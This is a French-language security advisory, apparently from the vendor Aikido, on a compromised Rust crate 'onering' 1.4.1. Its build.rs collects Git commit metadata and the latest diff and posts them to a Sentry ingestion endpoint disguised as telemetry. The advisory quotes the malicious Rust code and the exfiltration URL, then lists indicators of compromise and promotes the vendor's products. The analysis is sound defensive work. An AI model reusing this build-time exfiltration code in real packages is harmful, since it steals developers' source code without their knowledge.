Le 10 juin 2026, nous avons détecté un comportement malveillant dans la dernière version, la 1.4.1, de la bibliothèque Rust « onering ». Onering est une bibliothèque de files d'attente synchrones et de canaux à haut débit pour Rust, qui compte plus de 18 000 téléchargements sur crates.io. Au cours des dernières semaines, npm, PyPI et GitHub ont retenu l'attention avec une vague de compromissions de la chaîne d'approvisionnement. Cette semaine, c'est au tour de Rust.
La dernière version a ajouté un fichier build.rs qui collecte discrètement des données Git à partir de tout projet en cours de compilation et les transmet à un serveur distant, y compris le code source de votre dernier commit. Nous avons déjà vu des attaquants faire preuve de créativité en exécutant des charges utiles au moment de la compilation dans npm et PyPI, et ils s'y essaient désormais dans Rust. Alors que attaques de la chaîne d’approvisionnement récentes attaques de la chaîne d’approvisionnement concentrées sur le vol d'identifiants, celle-ci semble viser exclusivement le code source.
Le problème ne se limite pas au paquet publié sur crates.io. Le dépôt GitHub du responsable semble également avoir été compromis ; par conséquent, le fait de récupérer le paquet depuis Git plutôt que depuis le registre ne garantit pas votre sécurité. Nous avons immédiatement alerté le responsable : https://github.com/cenotelie/onering/issues/1
Ce que fait le fichier build.rs malveillant
A build.rs Il s'agit d'un script de compilation. Cargo le compile et l'exécute sur la machine du développeur pendant la compilation. Cela en fait un emplacement idéal pour dissimuler une charge utile, car il suffit de dépendre de la crate et de lancer la compilation pour la déclencher. Il n'est pas nécessaire d'appeler la moindre fonction de la bibliothèque.
Le contenu injecté build.rs fait trois choses.
Tout d'abord, il localise la racine du projet qui utilise la crate, et non son propre répertoire. Il remonte à partir de OUT_DIR jusqu'à ce qu'il trouve le cible répertoire, puis son répertoire parent. Le résultat correspond à votre référentiel.
fn get_project_path() -> Result<PathBuf, Box<dyn std::error::Error>> {
let dir = PathBuf::from(std::env::var("OUT_DIR")?);
let mut project_dir = &*dir;
while let Some(parent) = project_dir.parent() {
if let Some(last) = parent.iter().last()
&& last == "target"
&& let Some(parent) = parent.parent()
{
project_dir = parent;
break;
}
project_dir = parent;
}
Ok(project_dir.to_path_buf())
}Deuxièmement, il exécute deux commandes Git sur votre dépôt. L'une recueille les métadonnées des commits. L'autre récupère le diff textuel complet de votre dernier commit.
let Ok(commit) = git(
&project_path,
&[
"log",
"-n",
"1",
r#"--pretty=format:{"commit":"%H","author":"%an","email":"%ae","date":"%aI","subject":"%s"}"#,
],
) else {
return;
};
let Ok(patch) = git(&project_path, &["diff", "HEAD^", "HEAD"]) else {
return;
};Le git diff HEAD^ HEAD La commande `call` récupère l'intégralité du diff de votre dernier commit, qui est divulgué à chaque compilation ; ainsi, au fil des commits, elle divulgue un flux continu de vos modifications réelles du code source plutôt qu'un simple instantané.
Troisièmement, il dissimule les données volées sous la forme d'un événement de télémétrie Sentry et les envoie via une requête POST avec boucle vers un point de terminaison d'ingestion Sentry. Les métadonnées de la validation deviennent les balises d'événement, et le diff de votre code est intégré dans le extra.patch champ.
let payload = format!(
r#"{{"event_id":"{}","dsn":"https://8197ee42c4f59c83f4cc6d48f5bae821@o4511539639222272.ingest.de.sentry.io/4511539669368912"}}
{{"type":"event"}}
{{"message":"on build","level":"info","platform":"rust","tags": {commit},"extra": {{"patch":"{}"}}}}"#,
Uuid::new_v4().as_simple(),
patch.replace('"', "\\\"").replace('\n', "\\n"),
);
let Ok(_output) = request(
"POST",
"https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/",
&["Accept: application/json", "Content-Type: application/x-sentry-envelope"],
&payload,
) else {
return;
};Ce camouflage est intentionnel. Pour quiconque remarque du trafic sortant pendant une compilation, une requête adressée à une URL d'ingestion Sentry apparaît comme un simple rapport de plantage. Il y a également une ligne commentée qui a été oubliée, // std::fs::write("data.txt", payload), ce qui laisse fortement penser que la charge utile a été testée localement en l'enregistrant sur le disque avant que l'appel réseau ne soit mis en place.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus étendue de l'ensemble de votre équipe, la solution « Device Protection » Aikido vous offre une visibilité et un contrôle sur les logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins IDE et les dépendances de compilation, le tout en un seul endroit. Bloquez les logiciels malveillants avant même qu'ils ne s'installent.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
- Dépendance
oneringversion 1.4.1 disponible sur crates.io. - Le point de terminaison d'ingestion de Sentry
https://o4511539639222272.ingest.de.sentry.io/api/4511539669368912/envelope/. - La clé publique Sentry DSN
8197ee42c4f59c83f4cc6d48f5bae821, identifiant de l'organisationo4511539639222272, et l'identifiant du projet4511539669368912.

